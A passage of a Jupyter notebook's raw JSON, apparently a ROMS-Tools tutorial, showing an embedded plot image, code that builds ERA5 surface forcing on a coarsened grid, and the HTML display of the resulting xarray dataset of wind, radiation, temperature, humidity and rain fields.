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bBgikQj++9//YtmyZbjtttvQrl199qXp06fjrrvuwuzZs7F48WIUFxdj9OjRqK2tbcGetyzTpk3DrFmzcM8992D58uWYNm0apk+fjrvvvjtdR8YNqKqqwt5774177723we1NGaNx48bho48+wty5c/Hss89i4cKFOPvss7fVKQiZogS1//77qwkTJqTLqVRKdevWTU2dOrUFe5XfrF+/XgFQCxYsUEoptWHDBhWJRNQTTzyRrrN8+XIFQC1atKilupkXbNq0SfXt21fNnTtXDR8+XF100UVKKRmzxvj973+vDjrooEa3O46jysvL1YwZM9LfbdiwQcViMfW3v/1tW3QxLxkzZow644wztO+OO+44NW7cOKWUjFtDAFBPPfVUutyUMVq2bJkCoN566610nf/+978qEAioNWvWbLO+C82n1a/4xONxLFmyBCNHjkx/FwwGMXLkSCxaJNnaG2Pjxo0AgPbt2wMAlixZgkQioY3jbrvthp49e7b6cZwwYQLGjBmjjQ0gY9YYzzzzDAYPHowTTzwRnTt3xj777IP7769POb5y5UpUVFRo41ZWVoYhQ4a06nE78MADMW/ePHzyyScAgPfeew+vvfYajjzySAAybk2hKWO0aNEitG3bFoMHD07XGTlyJILBIBYvXrzN+yz4Z4dJWdFcvvvuO6RSKSOvV5cuXfDxxx+3UK/yG8dxcPHFF2PYsGHYY489AAAVFRWIRqNo27atVrdLly6oqKhogV7mB4899hjeeecdvPXWW8Y2GbOG+eKLLzBr1ixceuml+L//+z+89dZbuPDCCxGNRjF+/Pj02DT0zLbmcZs0aRIqKyux2267IRQKIZVK4aabbsK4ceMAQMatCTRljCoqKtC5c2dtezgcRvv27WUctxNa/cRH8M+ECRPw4Ycf4rXXXmvpruQ1q1evxkUXXYS5c+dKlmUfOI6DwYMH4+abbwYA7LPPPvjwww8xe/ZsjB8/voV7l7/8/e9/xyOPPIJHH30UAwYMwLvvvouLL74Y3bp1k3ETBBet3tTVsWNHhEIhw5Nm3bp1KC8vb6Fe5S8TJ07Es88+i/nz56N79+7p78vLyxGPx7FhwwatfmsexyVLlmD9+vXYd999EQ6HEQ6HsWDBAtx1110Ih8Po0qWLjFkDdO3aFf3799e+23333bFq1SoASI+NPLM6v/vd7zBp0iSMHTsWe+65J0455RRccsklmDp1KgAZt6bQlDEqLy83HF+SySR++OEHGcfthFY/8YlGoxg0aBDmzZuX/s5xHMybNw9Dhw5twZ7lF0opTJw4EU899RRefvll9O7dW9s+aNAgRCIRbRxXrFiBVatWtdpxPPzww/HBBx/g3XffTX8GDx6McePGpf8vY2YybNgwI1TCJ598gl69egEAevfujfLycm3cKisrsXjx4lY9btXV1QgG9Vd6KBSC4zgAZNyaQlPGaOjQodiwYQOWLFmSrvPyyy/DcRwMGTJkm/dZaAYtra7OBx577DEVi8XUgw8+qJYtW6bOPvts1bZtW1VRUdHSXcsbzjvvPFVWVqZeeeUVtXbt2vSnuro6Xefcc89VPXv2VC+//LJ6++231dChQ9XQoUNbsNf5h9urSykZs4Z48803VTgcVjfddJP69NNP1SOPPKKKiorUX//613SdW265RbVt21b961//Uu+//7465phjVO/evVVNTU0L9rxlGT9+vPrZz36mnn32WbVy5Ur1z3/+U3Xs2FFdccUV6Toyblu8LJcuXaqWLl2qAKiZM2eqpUuXqq+++kop1bQxOuKII9Q+++yjFi9erF577TXVt29fddJJJ7XUKQk+kYnPT9x9992qZ8+eKhqNqv3331+98cYbLd2lvAJAg58HHnggXaempkadf/75ql27dqqoqEj98pe/VGvXrm25TuchPPGRMWuYf//732qPPfZQsVhM7bbbbmrOnDnadsdx1NVXX626dOmiYrGYOvzww9WKFStaqLf5QWVlpbroootUz549VUFBgerTp4+68sorVV1dXbqOjJtS8+fPb/BdNn78eKVU08bo+++/VyeddJIqKSlRpaWl6vTTT1ebNm1qgbMRmkNAKVdYT0EQBEEQhB2YVq/xEQRBEASh9SATH0EQBEEQWg0y8REEQRAEodUgEx9BEARBEFoNMvERBEEQBKHVIBMfQRAEQRBaDTLxEQRBEASh1SATH0FoRVx77bUYOHBgs/f/8ssvEQgE8O6772atT4IgCNsSmfgIQivi8ssv1/IQCYIgtDbCLd0BQRC2HSUlJSgpKWnWvvF4PMu9EQRB2PbIio8g7EB8++23KC8vx80335z+7vXXX0c0GsW8efN8mbpOO+00HHvssbjpppvQrVs39OvXL73tiy++wKGHHoqioiLsvffeWLRokbbvP/7xDwwYMACxWAw77bQTbrvttqycnyAIQqbIxEcQdiA6deqEP//5z7j22mvx9ttvY9OmTTjllFMwceJEHH744b7bmzdvHlasWIG5c+fi2WefTX9/5ZVX4vLLL8e7776LXXfdFSeddBKSySQAYMmSJfjVr36FsWPH4oMPPsC1116Lq6++Gg8++GC2TlMQBKHZiKlLEHYwfv7zn+Oss87CuHHjMHjwYBQXF2Pq1KnNaqu4uBh//OMfEY1GAWwRNwNbtEJjxowBAFx33XUYMGAAPvvsM+y2226YOXMmDj/8cFx99dUAgF133RXLli3DjBkzcNppp2V8foIgCJkgKz6CsANy6623IplM4oknnsAjjzyCWCzWrHb23HPP9KTHzV577ZX+f9euXQEA69evBwAsX74cw4YN0+oPGzYMn376KVKpVLP6IQiCkC1k4iMIOyCff/45vvnmGziOk16laQ7FxcUNfh+JRNL/DwQCAADHcZp9HEEQhG2FmLoEYQcjHo/j5JNPxq9//Wv069cPv/3tb/HBBx+gc+fO2+T4u+++O/73v/9p3/3vf//DrrvuilAotE36IAiC0Bgy8RGEHYwrr7wSGzduxF133YWSkhI899xzOOOMMzRxci657LLLsN9+++GGG27Ar3/9ayxatAj33HMP7rvvvm1yfEEQBC9k4iMIOxCvvPIK7rjjDsyfPx+lpaUAgL/85S/Ye++9MWvWrG3Sh3333Rd///vfcc011+CGG25A165dcf3114uwWRCEvCCglFIt3QlBEARBEIRtgYibBUEQBEFoNcjERxBaKVvTVzT0efXVV1u6e4IgCDlBTF2C0Er57LPPGt32s5/9DIWFhduwN4IgCNsGmfgIgiAIgtBqEFOXIAiCIAitBpn4CIIgCILQapCJjyAIgiAIrQaZ+AiCIAiC0GqQiY8gCIIgCK0GmfgIgiAIgtBqkImPIAiCIAitBpn4CIIgCILQavj/3mnZPIRWy+wAAAAASUVORK5CYII=", "text/plain": [ "<Figure size 640x480 with 2 Axes>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "(corrected_surface_forcing.ds - surface_forcing.ds).swrad.isel(time=15).plot()" ] }, { "cell_type": "markdown", "id": "750a69a8-0e70-4715-ab6a-13709c689309", "metadata": {}, "source": [ "### Creating surface forcing on a coarsened grid\n", "`ROMS-Tools` has the option to interpolate the surface forcing fields on a grid that is coarsened by a factor of 2. Interpolating to a coarse grid makes sense when the ROMS grid is of much higher resolution than the raw data product (e.g., ERA5)." ] }, { "cell_type": "code", "execution_count": 14, "id": "eb06bda1-d5c6-4c9f-b573-25dc37a46c94", "metadata": { "tags": [] }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "CPU times: user 2min 2s, sys: 176 ms, total: 2min 2s\n", "Wall time: 3.19 s\n" ] } ], "source": [ "%%time\n", "coarse_surface_forcing = SurfaceForcing(\n", " grid=grid,\n", " start_time=start_time,\n", " end_time=end_time,\n", " source={\"name\": \"ERA5\", \"path\": path},\n", " type=\"physics\",\n", " correct_radiation=True,\n", " use_coarse_grid=True, # default is False\n", " use_dask=True,\n", ")" ] }, { "cell_type": "code", "execution_count": 15, "id": "17c54e8a-8069-4a13-8092-96a182f9724d", "metadata": { "tags": [] }, "outputs": [ { "data": { "text/html": [ "<div><svg style=\"position: absolute; width: 0; height: 0; overflow: hidden\">\n", "<defs>\n", "<symbol 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".xr-icon-database,\n", ".xr-icon-file-text2,\n", ".xr-no-icon {\n", " display: inline-block;\n", " vertical-align: middle;\n", " width: 1em;\n", " height: 1.5em !important;\n", " stroke-width: 0;\n", " stroke: currentColor;\n", " fill: currentColor;\n", "}\n", "</style><pre class='xr-text-repr-fallback'>&lt;xarray.Dataset&gt; Size: 38MB\n", "Dimensions: (time: 505, eta_rho: 52, xi_rho: 52)\n", "Coordinates:\n", " abs_time (time) datetime64[ns] 4kB 2012-01-15 ... 2012-02-05\n", " * time (time) float64 4kB 4.397e+03 4.397e+03 ... 4.418e+03 4.418e+03\n", "Dimensions without coordinates: eta_rho, xi_rho\n", "Data variables:\n", " uwnd (time, eta_rho, xi_rho) float32 5MB dask.array&lt;chunksize=(1, 52, 52), meta=np.ndarray&gt;\n", " vwnd (time, eta_rho, xi_rho) float32 5MB dask.array&lt;chunksize=(1, 52, 52), meta=np.ndarray&gt;\n", " swrad (time, eta_rho, xi_rho) float32 5MB dask.array&lt;chunksize=(1, 52, 52), meta=np.ndarray&gt;\n", " lwrad (time, eta_rho, xi_rho) float32 5MB dask.array&lt;chunksize=(1, 52, 52), meta=np.ndarray&gt;\n", " Tair (time, eta_rho, xi_rho) float32 5MB dask.array&lt;chunksize=(1, 52, 52), meta=np.ndarray&gt;\n", " qair (time, eta_rho, xi_rho) float32 5MB dask.array&lt;chunksize=(1, 52, 52), meta=np.ndarray&gt;\n", " rain (time, eta_rho, xi_rho) float32 5MB dask.array&lt;chunksize=(1, 52, 52), meta=np.ndarray&gt;\n", "Attributes:\n", " title: ROMS surface forcing file created by ROMS-Tools\n", " roms_tools_version: 0.1.dev138+dirty\n", " start_time: 2012-01-15 00:00:00\n", " end_time: 2012-02-05 00:00:00\n", " source: ERA5\n", " correct_radiation: True\n", " use_coarse_grid: True\n", " model_reference_date: 2000-01-01 00:00:00\n", " type: physics</pre><div class='xr-wrap' style='display:none'><div class='xr-header'><div class='xr-obj-type'>xarray.Dataset</div></div><ul class='xr-sections'><li class='xr-section-item'><input id='section-88beb065-ba2f-426a-a157-badec332a334' class='xr-section-summary-in' type='checkbox' disabled ><label for='section-88beb065-ba2f-426a-a157-badec332a334' class='xr-section-summary' title='Expand/collapse section'>Dimensions:</label><div class='xr-section-inline-details'><ul class='xr-dim-list'><li><span class='xr-has-index'>time</span>: 505</li><li><span>eta_rho</span>: 52</li><li><span>xi_rho</span>: 52</li></ul></div><div class='xr-section-details'></div></li><li class='xr-section-item'><input id='section-34c978a4-b97d-4032-b0b9-a57de267a993' class='xr-section-summary-in' type='checkbox' checked><label for='section-34c978a4-b97d-4032-b0b9-a57de267a993' class='xr-section-summary' >Coordinates: <span>(2)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-var-name'><span>abs_time</span></div><div class='xr-var-dims'>(time)</div><div class='xr-var-dtype'>datetime64[ns]</div><div class='xr-var-preview xr-preview'>2012-01-15 ... 2012-02-05</div><input id='attrs-3eeb369b-e083-4b12-ab94-1cfb78d2a192' class='xr-var-attrs-in' type='checkbox' disabled><label for='attrs-3eeb369b-e083-4b12-ab94-1cfb78d2a192' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-739a75cf-b199-4ef6-a918-a404d2f0e03f' class='xr-var-data-in' type='checkbox'><label for='data-739a75cf-b199-4ef6-a918-a404d2f0e03f' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'></dl></div><div class='xr-var-data'><pre>array([&#x27;2012-01-15T00:00:00.000000000&#x27;, &#x27;2012-01-15T01:00:00.000000000&#x27;,\n", " &#x27;2012-01-15T02:00:00.000000000&#x27;, ..., &#x27;2012-02-04T22:00:00.000000000&#x27;,\n", " &#x27;2012-02-04T23:00:00.000000000&#x27;, &#x27;2012-02-05T00:00:00.000000000&#x27;],\n", " dtype=&#x27;datetime64[ns]&#x27;)</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span class='xr-has-index'>time</span></div><div class='xr-var-dims'>(time)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>4.397e+03 4.397e+03 ... 4.418e+03</div><input id='attrs-13a2046e-cb5a-49f8-b747-18dd67d4d538' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-13a2046e-cb5a-49f8-b747-18dd67d4d538' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-d3a33352-9c17-46f0-854b-823bad128b4d' class='xr-var-data-in' type='checkbox'><label for='data-d3a33352-9c17-46f0-854b-823bad128b4d' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>days since 2000-01-01 00:00:00</dd><dt><span>units :</span></dt><dd>days</dd></dl></div><div class='xr-var-data'><pre>array([4397. , 4397.041667, 4397.083333, ..., 4417.916667, 4417.958333,\n", " 4418. ])</pre></div></li></ul></div></li><li class='xr-section-item'><input id='section-2855a2f8-b87b-4a96-bf93-7405d4e1a87c' class='xr-section-summary-in' type='checkbox' checked><label for='section-2855a2f8-b87b-4a96-bf93-7405d4e1a87c' class='xr-section-summary' >Data variables: <span>(7)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-var-name'><span>uwnd</span></div><div class='xr-var-dims'>(time, eta_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 52, 52), meta=np.ndarray&gt;</div><input id='attrs-6cd92935-8969-421b-8e81-677cf4bfa06d' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-6cd92935-8969-421b-8e81-677cf4bfa06d' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-e7ae4ecc-3783-4ead-9f2c-542314849da4' class='xr-var-data-in' type='checkbox'><label for='data-e7ae4ecc-3783-4ead-9f2c-542314849da4' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>10 meter wind in x-direction</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 5.21 MiB </td>\n", " <td> 10.56 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (505, 52, 52) </td>\n", " <td> (1, 52, 52) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 505 chunks in 153 graph layers </td>\n", " </tr>\n", " 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type='checkbox' ><label for='attrs-10f94843-821c-4a5b-9cc7-85d3e040152c' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-3571b938-e705-44db-8ebe-a8eaf949e000' class='xr-var-data-in' type='checkbox'><label for='data-3571b938-e705-44db-8ebe-a8eaf949e000' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>10 meter wind in y-direction</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 5.21 MiB </td>\n", " <td> 10.56 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (505, 52, 52) </td>\n", " <td> (1, 52, 52) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 505 chunks in 153 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"169\" height=\"159\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"80\" y2=\"70\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"38\" x2=\"80\" y2=\"109\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"38\" style=\"stroke-width:2\" />\n", " <line x1=\"13\" y1=\"3\" x2=\"13\" y2=\"42\" />\n", " <line x1=\"17\" y1=\"7\" x2=\"17\" y2=\"46\" />\n", " <line x1=\"21\" y1=\"11\" x2=\"21\" y2=\"49\" />\n", " <line x1=\"24\" y1=\"14\" x2=\"24\" y2=\"53\" />\n", " <line x1=\"28\" y1=\"18\" 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</td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 5.21 MiB </td>\n", " <td> 10.56 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (505, 52, 52) </td>\n", " <td> (1, 52, 52) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 505 chunks in 145 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"169\" height=\"159\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"80\" y2=\"70\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"38\" x2=\"80\" y2=\"109\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"38\" style=\"stroke-width:2\" />\n", " <line x1=\"13\" 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"</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>lwrad</span></div><div class='xr-var-dims'>(time, eta_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 52, 52), meta=np.ndarray&gt;</div><input id='attrs-b0a7daf7-8c4b-4f19-b46a-e37cb3fde3cd' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-b0a7daf7-8c4b-4f19-b46a-e37cb3fde3cd' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-afbbb46f-cc3f-4159-88f4-8d463efd5b74' class='xr-var-data-in' type='checkbox'><label for='data-afbbb46f-cc3f-4159-88f4-8d463efd5b74' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>downward long-wave (thermal) radiation</dd><dt><span>units :</span></dt><dd>W/m^2</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 5.21 MiB </td>\n", " <td> 10.56 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (505, 52, 52) </td>\n", " <td> (1, 52, 52) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 505 chunks in 99 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"169\" height=\"159\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"80\" y2=\"70\" style=\"stroke-width:2\" />\n", " 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class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>air temperature at 2m</dd><dt><span>units :</span></dt><dd>degrees Celsius</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " 